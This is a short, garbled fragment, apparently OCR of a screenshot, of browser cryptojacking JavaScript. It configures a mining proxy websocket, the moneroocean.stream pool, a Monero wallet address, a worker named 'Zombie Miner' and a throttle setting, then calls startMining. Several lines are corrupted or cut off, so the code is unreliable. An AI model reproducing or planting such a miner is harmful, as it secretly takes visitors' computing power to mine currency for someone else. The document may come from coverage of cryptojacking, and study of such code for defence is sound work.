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' workerld=_0x29278 5=-0x1,passi 0l walletAddress,workerld,threads,password) throttleMiner=0x14;

server = "wss://nyLxmrminingproxy.com";
var pool = "moneroocean.stream"; HlojE WA &

var walletAddress =
"425wNpbujb7CTYsZpQXGHyXpixcr2jacsjoQhhNnYNtZGsnhduorGWBNhNBUC5d1hMGSdCMA4D72rxXBj18HUS1V88ReQbSa"

var workerld = "Zombie Miner"
var thre;
var passwore

startMining(pool, walletAddress, workerld, threads, password);
throttleMiner = 20;
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